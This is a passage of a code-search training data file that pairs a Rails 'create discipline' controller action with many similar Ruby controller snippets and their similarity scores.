:body => body)\n request_only ? request : request.response.body\n end", "def create\n @discipline = Discipline.new(discipline_params)\n respond_to do |format|\n if @discipline.save\n format.html { redirect_to management_disciplines_path }\n format.json { render :json => @discipline.to_json(include: :department), status: :created }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def discipline_params\n params.fetch(:discipline, {})\n end", "def get_clerkships_by_care_setting\n\t @clinics = Clinic.find_all_by_care_setting(params[:id])\n \n respond_to do |format|\n format.html { redirect_to encounters_path }\n format.js {render :layout => false}\n end\n end", "def show\n @construction_style = ConstructionStyle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @construction_style }\n end\n end", "def show\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_station }\n end\n end", "def show\n @clinical_course = ClinicalCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinical_course }\n end\n end", "def show\n @course_request = CourseRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_request }\n end\n end", "def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end", "def show\n @course = Course.find(params[:id])\n \n @city = City.find(@course.city_id)\n @zip = Zipcode.find(@course.zipcode_id)\n @address = Address.find(@course.address_id)\n @state = State.find(@course.state_id)\n\n @fees = Fee.find(@course.fee_id)\n @slope_ratings = SlopeRating.find(@course.id)\n @season = Season.find(@course.season_id)\n @course_type = CourseType.find(@course.course_type_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end", "def show\n @line = Line.includes({:sublines => :transactions}).find(params[:id])\n @budget = @line.budget\n @subtitle = '%s %d' % [@line.category.capitalize, @line.line_number]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end", "def index\n if params[:news_id]\n @news = News.find(params[:news_id])\n @discusses = @news.discusses\n else\n @discusses = Discuss.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discusses }\n end\n end", "def show\n @condolence = Condolence.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condolence }\n end\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def show\n @routine_interview = RoutineInterview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine_interview }\n end\n end", "def index\n @race_disciplines = RaceDiscipline.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @race_disciplines }\n end\n end", "def new\n @discipline = Discipline.new\n \n respond_with @discipline\n end", "def show\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end", "def index\n @discipleship_classes = DiscipleshipClass.all\n end", "def index\n begin\n conditions = [\"club_id = ?\",@club.id]\n @courses = Course.find(:all, :order => 'id', :conditions => conditions)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n rescue\n render :layout => 'error', :template => 'errors/error'\n end\n end", "def index\n @subdisciplines = Subdiscipline.all.order('name ASC')\n end", "def show\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @curriculums_subject }\n end\n end", "def index\n authorize! :read, Course\n\n if is_student?\n @course_sections = Course.find_student_courses(current_user.id)\n else\n @course_sections = Course.find_professor_courses(current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courses }\n end\n end", "def show\n @internship = Internship.find(params[:id])\n @diaries = Diary.where(:internship_id => @internship.id).paginate(:page => params[:page]).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @internship }\n end\n end", "def show\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @interest }\n end\n end" ]
[ "0.7563355", "0.737941", "0.69488347", "0.68785405", "0.68470913", "0.68470913", "0.66711926", "0.66570663", "0.6402935", "0.63357234", "0.63255787", "0.62968266", "0.6293139", "0.62052494", "0.60936415", "0.6086569", "0.60492694", "0.60479945", "0.5941633", "0.59115756", "0.5888239", "0.58572835", "0.58126146", "0.57979035", "0.5762903", "0.5739614", "0.57351214", "0.56819403", "0.56427276", "0.5611864", "0.55688536", "0.555753", "0.55245304", "0.5491375", "0.5486477", "0.5441659", "0.5430009", "0.5417575", "0.541707", "0.5402681", "0.54011154", "0.5375669", "0.5363642", "0.5349716", "0.53483254", "0.53354895", "0.5330407", "0.5321742", "0.5321742", "0.5320176", "0.5289309", "0.52658325", "0.5260395", "0.5254748", "0.5252414", "0.524916", "0.5245627", "0.5240994", "0.52270895", "0.52134186", "0.52097636", "0.520738", "0.51928943", "0.51894283", "0.51870596", "0.5178122", "0.51674974", "0.51656973", "0.5151064", "0.5142722", "0.5130729", "0.51279503", "0.51250666", "0.51250666", "0.5124138", "0.51212823", "0.5119721", "0.5112987", "0.5105503", "0.51032627", "0.51004136", "0.5099028", "0.50975996", "0.5094003", "0.50884587", "0.50816053", "0.50816053", "0.50816053", "0.50816053", "0.50807554", "0.5078968", "0.507773", "0.5077088", "0.5068324", "0.5067892", "0.5065191", "0.50644577", "0.5063517", "0.5061527", "0.5054667" ]
0.53188944
50
GET /disciplines/1 GET /disciplines/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def index\n @disciplines = Discipline.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @disciplines }\n end\n end", "def show\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def show\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipy }\n end\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end", "def index\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_disciplines = MatrixDiscipline.where(:matrix_id => @matrix.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @matrix_disciplines }\n end\n end", "def show\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discipline }\n end\n end", "def show\n @discipline = Discipline.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline }\n end\n end", "def index\n @disciplines = @course.disciplines.latest_versions\n @disciplines = @disciplines.where_code_or_name(params[:term]) if params[:term]\n @disciplines = @disciplines.paginate :page => params[:page] \n \n respond_with @disciplines\n end", "def show\n @curriculum = Curriculum.find(params[:id])\n @curriculum_disciplines = @curriculum.curriculum_disciplines.by_module.paginate :page => params[:page]\n\n respond_with @curriculum\n end", "def show\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n @disciplines = collect_disciplines\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projects }\n end \n end", "def show\n @matrix_discipline = MatrixDiscipline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @matrix_discipline }\n end\n end", "def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end", "def index\n @disciplines = Discipline.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disciplines }\n end\n end", "def show\n @discipline = Discipline.find(params[:id])\n\n respond_with @discipline\n end", "def index\n @disciplinas = Disciplina.all\n end", "def show\n #render json: @discipline\n respond_with @discipline\n end", "def set_disciplina\n @disciplina = Disciplina.find(params[:id])\n end", "def index\n @psi_disciplines = PsiDiscipline.all\n end", "def index\n @discipleships = Discipleship.all\n end", "def show\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_type }\n end\n end", "def index\n @disciplines = Discipline.order(questions_daily_access: :desc)\n end", "def index\n @discipline_sections = DisciplineSection.all\n end", "def index\n @disciplines = Discipline.paginate(:page => params[:page], per_page: 30)\n @number = Discipline.count\n respond_to do |format|\n format.html\n format.json { render :json => Discipline.all.to_json(include: :department) }\n end\n end", "def index\n @disciplinas = Disciplina.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @disciplinas }\n end\n end", "def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end", "def new\n @discipline = Discipline.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline }\n end\n end", "def new\n @discipline = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discipline }\n end\n end", "def disciplines_for(discipline)\n if discipline\n [Discipline[discipline]]\n else\n #alphere this is causing nil discipline error in UpcomingEvents.find_all\n #[Discipline[:road], Discipline[:mountain_bike], Discipline[:bmx], Discipline[:track], Discipline[:cyclocross]]\n #works: [Discipline[:road]]\n disciplines = Array.new\n Discipline.find_all_names.each do | name |\n disciplines << (Discipline[name.to_sym]) unless name.to_s == ''\n end\n disciplines\n end\n end", "def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end", "def new\n @project = Project.new\n @project.disciplines = []\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def show\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinician }\n end\n end", "def new\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.build\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def show\n @routine_interview = RoutineInterview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @routine_interview }\n end\n end", "def [](discipline_name)\n disciplines.detect { |discipline| discipline.name == discipline_name }\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end", "def index\n @discipuladores = Discipulador.all\n end", "def show\n @island = Island.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @island }\n end\n end", "def create\n @disciplina = Disciplina.new(disciplina_params)\n\n respond_to do |format|\n if @disciplina.save\n format.html { redirect_to @disciplina, notice: 'Disciplina was successfully created.' }\n format.json { render :show, status: :created, location: @disciplina }\n else\n format.html { render :new }\n format.json { render json: @disciplina.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @line = Line.includes({:sublines => :transactions}).find(params[:id])\n @budget = @line.budget\n @subtitle = '%s %d' % [@line.category.capitalize, @line.line_number]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end", "def consultar\n @disciplina = Disciplina.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @disciplina }\n end\n end", "def set_discipulador\n @discipulador = Discipulador.find(params[:id])\n end", "def show\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_class_exam_type }\n end\n end", "def set_discipleship\n @discipleship = Discipleship.find(params[:id])\n end", "def index\n @citations = Citation.all\n\n render json: @citations\n end", "def destroy\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n @disciplines_study.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to disciplines_studies_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n end\n end", "def show\n @course_prerequisite = CoursePrerequisite.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @course_prerequisite }\n end\n end", "def show\n @construction_style = ConstructionStyle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @construction_style }\n end\n end", "def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end", "def show\n @complexity = Complexity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complexity }\n end\n end", "def show\n @chiropractic_assessment = ChiropracticAssessment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chiropractic_assessment }\n end\n end", "def show\n @courtstation = Courtstation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @courtstation }\n end\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n format.js\n end\n end", "def show\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_course }\n end\n end", "def new\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_discipline = MatrixDiscipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @matrix_discipline }\n end\n end", "def index\n if( current_user.admin? )\n @disciplines = Discipline.where( users_id: current_user.id)\n @discipline = Discipline.new\n else\n @disciplines = Discipline.joins(:Discuser).where(\"user_id = (?)\", current_user.id)\n @discipline = Discipline.new\n end\n end", "def show\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @interest }\n end\n end", "def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def show\n @discipline = Discipline.find(params[:discipline_id])\n @reporting = @discipline.reportings.find(params[:id])\n end", "def index\r\n if current_user.admin?\r\n @dashboard_disciplines = Discipline.includes(\"materials\")\r\n .paginate(:page => params[:page], :per_page => 10) \r\n else\r\n @dashboard_disciplines = current_user.disciplines \r\n .includes(\"materials\")\r\n .paginate(:page => params[:page], :per_page => 10) \r\n end\r\n end", "def show\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mission }\n end\n end", "def show\n @clinic_timing = ClinicTiming.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_timing }\n end\n end", "def disc(id)\n get(\"/catalog/titles/discs/#{id.to_s}\")\n end", "def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end", "def show\n @research_c = ResearchC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @research_c }\n end\n end", "def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_with @discipline, :location => admin_course_disciplines_url(@course)\n end", "def show\n @line = Line.find_by_no(params[:id]) || not_found\n authorize! :index, @line\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end", "def show\n @mission = Mission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @mission }\n end\n end", "def show\n render json: @citation\n end", "def show\n render json: @citation\n end", "def show\n @case_study = CaseStudy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @case_study }\n end\n end", "def show\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @criterion }\n end\n end", "def show\n @study = Study.find(params[:id])\n render json: @study\n end", "def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end", "def show\n @clinical_course = ClinicalCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinical_course }\n end\n end", "def disciplina_params\n params.require(:disciplina).permit(:codigo, :nome)\n end", "def show\n @circulation = Circulation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @circulation }\n end\n end", "def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end", "def show\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_station }\n end\n end", "def show\n @construction = Construction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @construction }\n end\n end", "def show\n @course_request = CourseRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course_request }\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n @discipline = Discipline.new(discipline_params)\n\n respond_to do |format|\n if @discipline.save\n current_user.notebook.disciplines << @discipline\n format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit_line }\n end\n end", "def show\n @cppic = Cppic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cppic }\n end\n end", "def new\n @discipline = Discipline.new\n \n respond_with @discipline\n end", "def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end", "def discipline_params\n params[:discipline]\n end", "def index\n @discipline = Discipline[params[\"discipline\"]]\n @discipline_names = Discipline.names\n @calculations = Calculations::V3::Calculation.where(year: @year).includes(:event)\n\n respond_to do |format|\n format.html\n format.xml do\n fresh_when RacingAssociation.current, public: true\n all_events\n end\n end\n end", "def show\n @climate = Climate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climate }\n end\n end" ]
[ "0.7529931", "0.72701716", "0.7118794", "0.6864396", "0.6851406", "0.6851406", "0.6748693", "0.6650709", "0.6613909", "0.6610088", "0.65520805", "0.6441681", "0.63481295", "0.6318803", "0.6186632", "0.61141104", "0.60904294", "0.60593903", "0.60107917", "0.5940344", "0.5928619", "0.58784246", "0.5823535", "0.5804893", "0.5801196", "0.57647127", "0.57497954", "0.5746415", "0.5745722", "0.5744037", "0.57166654", "0.5711486", "0.5663793", "0.5649528", "0.5598987", "0.5574671", "0.55623907", "0.55553573", "0.5540204", "0.5507062", "0.5471785", "0.5462165", "0.54429054", "0.54428846", "0.5439428", "0.54358983", "0.54355955", "0.54320675", "0.5415324", "0.5415324", "0.5414463", "0.5404321", "0.5400005", "0.5398912", "0.53851014", "0.538008", "0.53798646", "0.5377722", "0.53759193", "0.53755707", "0.53654885", "0.5363599", "0.535798", "0.53558564", "0.5352549", "0.53523725", "0.5345984", "0.53447896", "0.5344243", "0.5337201", "0.5331384", "0.5323799", "0.53202194", "0.5319142", "0.5316952", "0.5316952", "0.5316952", "0.5316952", "0.5313319", "0.53114325", "0.530816", "0.530816", "0.5299439", "0.52990496", "0.5289564", "0.5289277", "0.52862304", "0.5282566", "0.52806723", "0.52801955", "0.5275796", "0.52754664", "0.52728397", "0.5270181", "0.52697855", "0.5267152", "0.5265202", "0.52646935", "0.5256741", "0.5253527", "0.5237587" ]
0.0
-1
POST /disciplines POST /disciplines.json
def create @discipline = Discipline.new(discipline_params) @discipline.users_id = current_user.id respond_to do |format| if @discipline.save @discipline.codigo = "DISC-%04d" % [@discipline.id] @discipline.save if params[:anexos] params[:anexos].each { |anx| @discanexo = Discanexo.new @discanexo.anexo = anx @discanexo.Discipline_id = @discipline.id @discanexo.save } end flash[:success] = "Disciplina cadastrada com sucesso." format.html { redirect_to @discipline} format.json { render :show, status: :created, location: @discipline } else format.html { render :new } format.json { render json: @discipline.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @disciplina = Disciplina.new(disciplina_params)\n\n respond_to do |format|\n if @disciplina.save\n format.html { redirect_to @disciplina, notice: 'Disciplina was successfully created.' }\n format.json { render :show, status: :created, location: @disciplina }\n else\n format.html { render :new }\n format.json { render json: @disciplina.errors, status: :unprocessable_entity }\n end\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n @discipline = Discipline.new(discipline_params)\n\n respond_to do |format|\n if @discipline.save\n current_user.notebook.disciplines << @discipline\n format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.new(params[:disciplines_study])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.save\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully created.' }\r\n format.json { render json: @disciplines_study, status: :created, location: @disciplines_study }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @recipy = Recipy.new(params[:recipy])\n\n respond_to do |format|\n if @recipy.save\n format.html { redirect_to @recipy, notice: 'Recipy was successfully created.' }\n format.json { render json: @recipy, status: :created, location: @recipy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipy.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def create\n @discipline = Discipline.new(discipline_params)\n\n respond_to do |format|\n if @discipline.save\n format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def disciplina_params\n params.require(:disciplina).permit(:codigo, :nome)\n end", "def create\n @discipline = Discipline.new(params[:discipline])\n @discipline.discipline_id = UUIDTools::UUID.timestamp_create().to_s\n\n respond_to do |format|\n if @discipline.save\n format.html { redirect_to @discipline, notice: t(:discipline_successfully_created) }\n format.json { render json: @discipline, status: :created, location: @discipline }\n else\n format.html { render action: \"new\" }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @discipline = Discipline.new(discipline_params)\n respond_to do |format|\n if @discipline.save\n format.html { redirect_to management_disciplines_path }\n format.json { render :json => @discipline.to_json(include: :department), status: :created }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @discipulador = Discipulador.new(discipulador_params)\n\n respond_to do |format|\n if @discipulador.save\n format.html { redirect_to @discipulador, notice: 'Discipulador was successfully created.' }\n format.json { render :show, status: :created, location: @discipulador }\n else\n format.html { render :new }\n format.json { render json: @discipulador.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subdiscipline = Subdiscipline.new(subdiscipline_params)\n respond_to do |format|\n if @subdiscipline.save\n format.html { redirect_to @subdiscipline, notice: 'Subdiscipline was successfully created.' }\n format.json { render :show, status: :created, location: @subdiscipline }\n else\n format.html { render :new }\n format.json { render json: @subdiscipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @discipline = Discipline.new(params[:discipline])\n \n respond_to do |format|\n if @discipline.save\n format.html { redirect_to @discipline, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @discipline.class.model_name.human) }\n format.json { render :json => @discipline, :status => :created, :location => @discipline }\n format.js\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @discipline.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n @disciplina = Disciplina.new(params[:disciplina])\n\n respond_to do |format|\n if @disciplina.save\n format.html { redirect_to(consultar_disciplina_path(@disciplina),\n :notice => 'Disciplina was successfully created.') }\n format.xml { render :xml => @disciplina, :status => :created, :location => @disciplina }\n else\n format.html { render :action => \"novo\" }\n format.xml { render :xml => @disciplina.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.build\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def create\n @psi_discipline = PsiDiscipline.new(psi_discipline_params)\n\n respond_to do |format|\n if @psi_discipline.save\n format.html { redirect_to @psi_discipline, notice: 'Psi discipline was successfully created.' }\n format.json { render :show, status: :created, location: @psi_discipline }\n else\n format.html { render :new }\n format.json { render json: @psi_discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @discipleship = Discipleship.new(discipleship_params)\n\n respond_to do |format|\n if @discipleship.save\n format.html { redirect_to @discipleship, notice: 'Discipleship was successfully created.' }\n format.json { render action: 'show', status: :created, location: @discipleship }\n else\n format.html { render action: 'new' }\n format.json { render json: @discipleship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_discipline = MatrixDiscipline.new(params[:matrix_discipline])\n @matrix_discipline.matrix_id = @matrix.id\n\n respond_to do |format|\n if @matrix_discipline.save\n format.html { redirect_to course_matrix_matrix_disciplines_path, :notice => 'Disciplina cadastrada na matriz com sucesso.' }\n format.json { render :json => @matrix_discipline, :status => :created, :location => @matrix_discipline }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @matrix_discipline.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @disciplines = Discipline.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @disciplines }\n end\n end", "def discipleship_params\n params.require(:discipleship).permit(:title, :author, :publisher, :year, :more)\n end", "def creat_discipline(json)\n # Create Discipline\n discipline = Discipline.new(:name => json[\"disciplin\"], :year => \"1.1.2013\")\n # save query in vars for Discipline joins\n sp = Sport.find_by_name(json[\"disc_group\"])\n cat = Category.find_by_name(json[\"category\"])\n ge = Gender.find_by_sex(json[\"gender\"])\n # when no unit set\n if json[\"req_unit\"].nil?\n un = Unit.find_by_name(\"bestanden\")\n else\n un = Unit.find_by_name(json[\"req_unit\"])\n end\n # joins Diciplines\n sp.disciplines << discipline\n cat.disciplines << discipline\n un.disciplines << discipline\n ge.disciplines << discipline\n # save Discipline\n discipline.save\nend", "def create\nlogger.debug \"create curr_user: \" + current_user.inspect\n @discipline = Discipline.new(discipline_params)\n @discipline.creator_id = current_user\n @discipline.updater_id = current_user\nlogger.debug \"discipline: \"+@discipline.inspect\n \n if @discipline.save\n #respond_with @discipline\n render json: @discipline\n #format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @discipline }\n else\n respond_with @discipline.errors, status: :unprocessable_entity\n #format.html { render action: 'new' }\n #format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end", "def create\n @discipline = Discipline.new(params[:discipline])\n @discipline.course = @course\n @discipline.version = 1\n @discipline.save\n \n respond_with @discipline, :location => [:admin, @course, @discipline]\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end", "def new\n @project = Project.new\n @project.disciplines = []\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def associate\n @discipline = Discipline.find(params[:discipline_id])\n\n respond_to do |format|\n current_user.notebook.disciplines << @discipline\n format.js\n end\n end", "def create\n\n # { clinic: {\"license_id\"=>nil, \"name\"=>string } }\n clinic = @license.clinics.new(params[:clinic])\n clinic.api_license = @api_license\n if clinic.save\n render json: clinic, status: :created\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def discipline_params\n params.require(:discipline).permit(:nome, :cargahoraria, :Course_id, :users_id, :anexos, :disciplineMat, :senha)\n end", "def discipline_params\n params.require(:discipline).permit(:name, :label)\n end", "def new\n @discipline = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discipline }\n end\n end", "def new\n @discipline = Discipline.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline }\n end\n end", "def create\n base_params = subject_params.select {|k,v| k != \"discipline\"}\n @subject = Subject.new(base_params)\n @subject.discipline= 